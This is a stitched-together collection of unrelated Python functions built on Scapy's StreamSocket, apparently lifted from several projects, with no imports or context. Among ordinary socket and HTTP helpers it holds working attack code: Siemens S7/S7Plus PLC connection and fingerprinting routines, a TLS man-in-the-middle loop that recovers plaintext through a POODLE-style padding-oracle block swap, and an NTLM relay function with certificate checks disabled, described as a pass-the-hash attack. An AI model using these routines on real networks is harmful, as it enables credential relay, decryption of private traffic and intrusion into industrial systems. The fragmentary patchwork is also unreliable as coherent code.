def sniff(self): # type: () -> None from scapy.supersocket import StreamSocket ssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ssock.bind((get_if_addr(self.optsniff.get("iface", conf.iface)), self.port)) ssock.listen() sniffers = [] try: while True: clientsocket, address = ssock.accept() print("%s connected" % repr(address)) sock = StreamSocket(clientsocket, self.cls) optsniff = self.optsniff.copy() optsniff["prn"] = functools.partial(self.reply, send_function=sock.send, address=address) del optsniff["iface"] sniffer = AsyncSniffer(opened_socket=sock, **optsniff) sniffer.start() sniffers.append((sniffer, sock)) finally: for (sniffer, sock) in sniffers: try: sniffer.stop() except Exception: pass sock.close() self.close() ssock.close()
def connect(self, target, port): try: sock = socket.socket() sock.connect((target, port)) sock.settimeout(self.timeout) self._connection = StreamSocket(sock, Raw) return True except ConnectionRefusedError as e: print_error("Conection was refused.") return False
def cons_HTTP_2(): print("in ", cons_HTTP_2.__name__, " #######") import socket s = socket.socket() s.connect(("www.test.com",80)) ss = StreamSocket(s, Raw) ###recommend answser = ss.sr1(Raw("GET /\r\n")) print(answser.load) print() print()
def connect(self): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.connect((self._ip, self._port)) sock.settimeout(self._timeout) self._connection = StreamSocket(sock, Raw) self._seq = 1 connect_packet = RPCReq() / WdbConnectReq() connect_packet[RPCReq].Procedure = 0x7a connect_packet[RPCReq].Seq = self._seq self.send_receive_wdb_packet(connect_packet)
def connect(self): sock = socket.socket() sock.settimeout(self._timeout) sock.connect((self._ip, self._port)) self._connection = StreamSocket(sock, Raw) packet_1 = ENIPHeader(Command=0x65) / RegisterSession() rsp_1 = self.send_receive_cip_packet(packet_1) try: if rsp_1.haslayer(ENIPHeader): self._session = rsp_1.Session except Exception as err: self.logger.error(err) return
def handle_routed(self): """Handles a packet for an already routed client.""" self.logger.debug("Handling routed message") # We create a new raw StreamSocket for passing it to the virtual # service. The SAP router service should take care of the NI layer # and perform the reassembling, keep alive, etc. stream_socket = StreamSocket(self.request.ins) # Now handle the virtual service, from now on the virtual service # would take care of this client self.server.clients[self.client_address].target_service.handle_virtual(stream_socket, self.client_address)
def setup_server(self): super(ForwarderService, self).setup_server() # Create an event for stopping the handle loop self.stopped = gEvent() # Create and bind the listener socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # If the server is not virtual, bind and listen to the # specified address/port if not self.virtual: sock.bind((self.listener_address, self.listener_port)) sock.listen(self.backlog) self.listener = StreamSocket(sock)
def send_packets(packets_pickle_name, ip="127.0.0.1", port=1790): packets = pickle.load(open(packets_pickle_name, 'rb')) s = socket.socket() s.connect((ip, port)) ss = StreamSocket(s, BMPHeader) ss.send(packets.initialization) time.sleep(1) for p in packets.peers_up: ss.send(p) time.sleep(1) for p in packets.updates: ss.send(p) while True: pass
def connect(self): sock = socket.socket() sock.settimeout(self._timeout) sock.connect((self._ip, self._port)) self._connection = StreamSocket(sock, Raw) packet1 = TPKT() / COTPCR() packet1.Parameters = [COTPOption() for i in range(3)] packet1.PDUType = "CR" packet1.Parameters[0].ParameterCode = "tpdu-size" packet1.Parameters[0].Parameter = "\x0a" packet1.Parameters[1].ParameterCode = "src-tsap" packet1.Parameters[2].ParameterCode = "dst-tsap" packet1.Parameters[1].Parameter = self._src_tsap packet1.Parameters[2].Parameter = self._dst_tsap self.send_receive_packet(packet1) packet2 = TPKT() / COTPDT(EOT=1) / S7Header(ROSCTR="Job", Parameters=S7SetConParameter()) rsp2 = self.send_receive_s7_packet(packet2) if rsp2: self._connected = True
def create_remote(self, client_address, host, port): # Creates a session for registering the events (client_ip, client_port) = client_address self.session = self.session_manager.get_session("forwarder", client_ip, client_port, self.target_address, self.target_port) self.logger.debug("Connecting client %s:%s to remote %s:%d" % (client_ip, client_port, host, port)) # Creates a remote socket remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((host, port)) self.session.add_event("Connected to target", data={"target_host": host, "target_port": port}) # Wrap it into a StreamSocket so both remote and client are # StreamSockets return StreamSocket(remote)
def get_nisocket(cls, host=None, port=None, route=None, password=None, talk_mode=None, router_version=None, **kwargs): """Helper function to obtain a :class:`SAPRoutedStreamSocket`. If no route is specified, it returns a plain `SAPNIStreamSocket`. If no route is specified and the talk mode is raw, it returns a plain `StreamSocket` as it's assumed that the NI layer is not desired. :param host: target host to connect to if not specified in the route :type host: C{string} :param port: target port to connect to if not specified in the route :type port: ``int`` :param route: route to use for determining the SAP Router to connect :type route: C{string} or ``list`` of :class:`SAPRouterRouteHop` :param password: target password if not specified in the route :type password: C{string} :param talk_mode: the talk mode to use for requesting the route :type talk_mode: ``int`` :param router_version: the router version to use for requesting the route :type router_version: ``int`` :keyword kwargs: arguments to pass to :class:`SAPRoutedStreamSocket` constructor :return: connected socket through the specified route :rtype: :class:`SAPRoutedStreamSocket` :raise SAPRouteException: if the route request to the target host/port was not accepted by the SAP Router :raise socket.error: if the connection to the target host/port failed or the SAP Router returned an error """ # If no route was provided, check the talk mode if route is None: # If talk mode is raw, create a new StreamSocket and get rid of the # NI layer completely and force the base class to Raw. if talk_mode == 1: sock = socket.create_connection((host, port)) if "base_cls" in kwargs: kwargs["base_cls"] = Raw return StreamSocket(sock, **kwargs) # Otherwise use the standard SAPNIStreamSocket get_nisocket method else: return SAPNIStreamSocket.get_nisocket(host, port, **kwargs) # If the route was provided using a route string, convert it to a # list of hops if isinstance(route, str): route = SAPRouterRouteHop.from_string(route) # If the host and port were specified, we need to add a new hop to # the route if host is not None and port is not None: route.append( SAPRouterRouteHop(hostname=host, port=port, password=password)) # Connect to the first hop in the route (it should be the SAP Router) sock = socket.create_connection( (route[0].hostname, int(route[0].port))) # Create a SAPRoutedStreamSocket instance specifying the route return cls(sock, route, talk_mode, router_version, **kwargs)
def connect(self): sock = socket.socket() sock.settimeout(self._timeout) sock.connect((self._ip, self._port)) self._connection = StreamSocket(sock, Raw) packet1 = TPKT() / COTPCR() packet1.Parameters = [COTPOption() for i in range(3)] packet1.PDUType = "CR" packet1.Parameters[0].ParameterCode = "tpdu-size" packet1.Parameters[0].Parameter = "\x0a" packet1.Parameters[1].ParameterCode = "src-tsap" packet1.Parameters[2].ParameterCode = "dst-tsap" packet1.Parameters[1].Parameter = self._src_tsap packet1.Parameters[2].Parameter = self._dst_tsap self.send_receive_packet(packet1) packet2 = TPKT() / COTPDT(EOT=1) / S7PlusHeader( Data=S7PlusData(OPCode=0x31, Function=0x04ca)) packet2[S7PlusData].DataSet = S7PlusCrateObjectRequest( IDNumber=0x0000011d, DataType=0x04, DataValue=S7PlusUDIntValue(Value=0)) packet2[S7PlusData].DataSet.Elements = [ S7PlusObjectField(RelationID=0xd3, ClassID=0x821f) ] packet2[S7PlusData].DataSet.Elements[0].Elements = [ S7PlusAttributeField( IDNumber=0x00e9, DataType=0x15, DataValue=S7PlusWStringValue(Value=RandString(8))), S7PlusAttributeField( IDNumber=0x0121, DataType=0x15, DataValue=S7PlusWStringValue(Value=RandString(8))), S7PlusAttributeField(IDNumber=0x0128, DataType=0x15, DataValue=S7PlusWStringValue(Value="")), S7PlusAttributeField(IDNumber=0x0129, DataType=0x15, DataValue=S7PlusWStringValue(Value="")), S7PlusAttributeField( IDNumber=0x012a, DataType=0x15, DataValue=S7PlusWStringValue(Value=RandString(8))), S7PlusAttributeField(IDNumber=0x012b, DataType=0x04, DataValue=S7PlusUDIntValue(Value=0)), S7PlusAttributeField(IDNumber=0x012c, DataType=0x12, DataValue=S7PlusRIDValue(Value=RandInt())), S7PlusAttributeField(IDNumber=0x012d, DataType=0x15, DataValue=S7PlusWStringValue(Value="")), S7PlusSubObjectField( RelationID=0xd3, ClassID=0x817f, Elements=[ S7PlusAttributeField(IDNumber=0x00e9, DataType=0x15, DataValue=S7PlusWStringValue( Value="SubscriptionContainer")) ], ) ] rsp2 = self.send_receive_s7plus_packet(packet2) try: if rsp2.haslayer(S7PlusCrateObjectResponse): self.session = rsp2[S7PlusCrateObjectResponse].ObjectIDs[ 0].Value # Todo: remove this when find out how get these value from get_target_info for elment in rsp2[S7PlusCrateObjectResponse].Elements: if isinstance(elment, S7PlusObjectField): for sub_elment in elment.Elements: if isinstance(sub_elment, S7PlusAttributeField): if sub_elment.IDNumber == 0x0132: self._server_session_version_data = sub_elment for item in sub_elment.DataValue.Items: if item.IDNumber == 0x013f: data = item.DataValue.Value self._info['HW_Version'], self._info[ 'Order_Code'], self._info[ 'FW_Version'] = data.split( ';') except Exception as err: self.logger.error("Can't get order code and version from target") if self._server_session_version_data: packet3 = TPKT() / COTPDT(EOT=1) / S7PlusHeader( Data=S7PlusData(OPCode=0x31, Function=0x0542)) packet3[S7PlusData].DataSet = S7PlusSetMultiVariablesRequest( ObjectID=self.session, AddressList=S7PlusAddressListPacket( Elements=[S7PlusUDIntValue(Value=0x0132)]), ValueList=[ S7PlusItemValue( IDNumber=0x01, DataType=0x17, DataValue=self._server_session_version_data.DataValue), ], ObjectQualifier=S7PlusObjectQualifierPacket()) packet3[ S7PlusData].DataSet.ObjectQualifier.Items = OBJECT_QUALIFIER_ITEMS rsp3 = self.send_receive_s7plus_packet(packet3)
def http_request(host, path="/", port=80, timeout=3, display=False, verbose=0, raw=False, iptables=False, iface=None, **headers): """Util to perform an HTTP request, using the TCP_client. :param host: the host to connect to :param path: the path of the request (default /) :param port: the port (default 80) :param timeout: timeout before None is returned :param display: display the resullt in the default browser (default False) :param raw: opens a raw socket instead of going through the OS's TCP socket. Scapy will then use its own TCP client. Careful, the OS might cancel the TCP connection with RST. :param iptables: when raw is enabled, this calls iptables to temporarily prevent the OS from sending TCP RST to the host IP. On Linux, you'll almost certainly need this. :param iface: interface to use. Changing this turns on "raw" :param headers: any additional headers passed to the request :returns: the HTTPResponse packet """ from scapy.sessions import TCPSession http_headers = { "Accept_Encoding": b'gzip, deflate', "Cache_Control": b'no-cache', "Pragma": b'no-cache', "Connection": b'keep-alive', "Host": host, "Path": path, } http_headers.update(headers) req = HTTP() / HTTPRequest(**http_headers) ans = None # Open a socket if iface is not None: raw = True if raw: # Use TCP_client on a raw socket iptables_rule = "iptables -%c INPUT -s %s -p tcp --sport 80 -j DROP" if iptables: host = str(Net(host)) assert (os.system(iptables_rule % ('A', host)) == 0) sock = TCP_client.tcplink(HTTP, host, port, debug=verbose, iface=iface) else: # Use a native TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) sock = StreamSocket(sock, HTTP) # Send the request and wait for the answer try: ans = sock.sr1(req, session=TCPSession(app=True), timeout=timeout, verbose=verbose) finally: sock.close() if raw and iptables: host = str(Net(host)) assert (os.system(iptables_rule % ('D', host)) == 0) if ans: if display: if Raw not in ans: warning("No HTTP content returned. Cannot display") return ans # Write file file = get_temp_file(autoext=".html") with open(file, "wb") as fd: fd.write(ans.load) # Open browser if WINDOWS: os.startfile(file) else: with ContextManagerSubprocess(conf.prog.universal_open): subprocess.Popen([conf.prog.universal_open, file]) return ans
def start(self): server = socket.socket() server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('', self.core.port)) server.listen() DEBUG = log.isEnabledFor(logging.DEBUG) def info(*args, **kwargs): if not log.isEnabledFor(logging.INFO): return args = tuple(map(self.core._color, args)) print(*args, **kwargs) decrypted = '' while True: s1 = StreamSocket(server.accept()[0], SSL) log.info('Connecting to %s:%d', self.core.ip, self.core.port) s2 = StreamSocket( socket.create_connection((self.core.ip, self.core.port)), SSL) peerof = {s1: s2, s2: s1} label = {s1: 'client', s2: 'server'} stop = False ctx = TLSSessionCtx('foo') ctx.server_ctx.load_rsa_keys_from_file(self.core.private_key) client_request = None block_offset = self.core.block_offset try: while not stop: ins, outs, errs = select([s1, s2], [], [], None) for s in ins: info("\033[97m>", label[s], "\033[0m") p = s.recv() if p is None or len(p) == 0: stop = True break if p.haslayer(TLSServerHello): ctx.printed = False ctx.master_secret = None ctx.match_server = s elif p.haslayer(TLSClientHello): ctx.match_client = s ctx.insert(p) # p.show() cipherdata = [] plaindata = [] for record in p.records: if record.haslayer(TLSRecord) and record[ TLSRecord].content_type == TLSContentType.HANDSHAKE: continue if record.haslayer(TLSCiphertext): cipherdata.append( (record, record[TLSCiphertext].data)) # print("\033[91mCiphertext\033[0m") # print_hexdump(record[TLSCiphertext].data, colored=True, cols=ctx.sec_params.block_size) if p.haslayer(TLSCiphertext) or (p.haslayer(TLSAlert) and p.haslayer(Raw)): # if ctx.master_secret and not ctx.printed: # print(ctx) # ctx.printed = True if s == ctx.match_client: ctx.set_mode(server=True) elif s == ctx.match_server: ctx.set_mode(client=True) if DEBUG: ssl = SSL(bytes(p), ctx=ctx) for record in ssl.records: if record.haslayer(TLSPlaintext): plaintext = record[TLSPlaintext] data = plaintext.data + plaintext.mac + plaintext.padding + bytes( [plaintext.padding_len]) plaindata.append(data) else: plaindata = [b''] * len(cipherdata) if ctx.sec_params is not None: mac_length = ctx.sec_params.mac_key_length mac_length += ctx.sec_params.block_size - ( mac_length % ctx.sec_params.block_size) for (record, cipher), plain in zip(cipherdata, plaindata): if len(cipher) > mac_length: if label[s] == 'client': info( "\033[94mProbably Request ({} > {})\033[0m" .format(len(cipher), mac_length)) client_request = cipher elif label[s] == 'server': info( "\033[94mProbably Response ({} > {})\033[0m" .format(len(cipher), mac_length)) info("\033[91mCiphertext\033[0m") print_hexdump(cipher, colored=True, cols=ctx.sec_params.block_size, bright=self.core.bright) if DEBUG: info("\033[92mPlaintext\033[0m") print_hexdump(plain, colored=True, cols=ctx.sec_params.block_size, bright=self.core.bright) if len(cipher) > mac_length: if label[s] == 'client': secret_block = cipher[ block_offset:block_offset + ctx.sec_params.block_size] cipher = cipher[:-ctx.sec_params. block_size] + secret_block record[TLSCiphertext].data = cipher info("\033[91mCiphertext new\033[0m") print_hexdump( cipher, colored=True, cols=ctx.sec_params.block_size, bright=self.core.bright) # p.show() elif label[s] == 'server': a = client_request[ -ctx.sec_params.block_size - 1] b = client_request[block_offset - 1] im = a ^ (ctx.sec_params.block_size - 1) ch = b ^ im decrypted = chr(ch) + decrypted info( "Decrypted: '{}' (0x{:02x} = 0x{:02x}^0x{:02x}^0x{:02x})" .format(decrypted, ch, a, ctx.sec_params.block_size - 1, b)) input('Enter to continue') s = peerof[s] s.send(p) except OSError: pass
def connect(self): sock = socket.socket() sock.connect((self._ip, self._port)) sock.settimeout(self._timeout) self._connection = StreamSocket(sock, Raw)
def ntlm_relay( serverCls, remoteIP, remoteClientCls, # Classic attacks DROP_MIC_v1=False, DROP_MIC_v2=False, DROP_EXTENDED_SECURITY=False, # SMB1 # Optional arguments ALLOW_SMB2=None, server_kwargs=None, client_kwargs=None, iface=None): """ NTLM Relay This class aims at implementing a simple pass-the-hash attack across various protocols. Usage example: ntlm_relay(port=445, remoteIP="192.168.122.65", remotePort=445, iface="eth0") :param port: the port to open the relay on :param remoteIP: the address IP of the server to connect to for auth :param remotePort: the proto to connect to the server into """ assert issubclass(serverCls, NTLM_Server), "Specify a correct NTLM server class" assert issubclass(remoteClientCls, NTLM_Client), "Specify a correct NTLM client class" assert remoteIP, "Specify a valid remote IP address" ssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ssock.bind((get_if_addr(iface or conf.iface), serverCls.port)) ssock.listen(5) sniffers = [] server_kwargs = server_kwargs or {} client_kwargs = client_kwargs or {} if DROP_MIC_v1: server_kwargs["DROP_MIC_v1"] = client_kwargs["DROP_MIC_v1"] = True if DROP_MIC_v2: server_kwargs["DROP_MIC_v2"] = client_kwargs["DROP_MIC_v2"] = True if DROP_EXTENDED_SECURITY: client_kwargs["EXTENDED_SECURITY"] = False server_kwargs["EXTENDED_SECURITY"] = False if ALLOW_SMB2 is not None: client_kwargs["ALLOW_SMB2"] = server_kwargs["ALLOW_SMB2"] = ALLOW_SMB2 for k, v in remoteClientCls.kwargs_cls.get(serverCls, {}).items(): if k not in server_kwargs: server_kwargs[k] = v try: evt = threading.Event() while not evt.is_set(): clientsocket, address = ssock.accept() sock = StreamSocket(clientsocket, serverCls.cls) srv_atmt = serverCls(sock, debug=4, **server_kwargs) # Connect to real server _sock = socket.socket() _sock.connect((remoteIP, remoteClientCls.port)) remote_sock = None # SSL? if remoteClientCls.ssl: context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) # Disable all SSL checks... context.check_hostname = False context.verify_mode = ssl.CERT_NONE _sock = context.wrap_socket(_sock) remote_sock = SSLStreamSocket(_sock, remoteClientCls.cls) else: remote_sock = StreamSocket(_sock, remoteClientCls.cls) print("%s connected -> %s" % (repr(address), repr(_sock.getsockname()))) cli_atmt = remoteClientCls(remote_sock, debug=4, **client_kwargs) sock_tup = ((srv_atmt, cli_atmt), (sock, remote_sock)) sniffers.append(sock_tup) # Bind NTLM functions srv_atmt.bind(cli_atmt) cli_atmt.bind(srv_atmt) # Start automatons srv_atmt.runbg() cli_atmt.runbg() except KeyboardInterrupt: print("Exiting.") finally: for atmts, socks in sniffers: for atmt in atmts: try: atmt.forcestop(wait=False) except Exception: pass for sock in socks: try: sock.close() except Exception: pass ssock.close()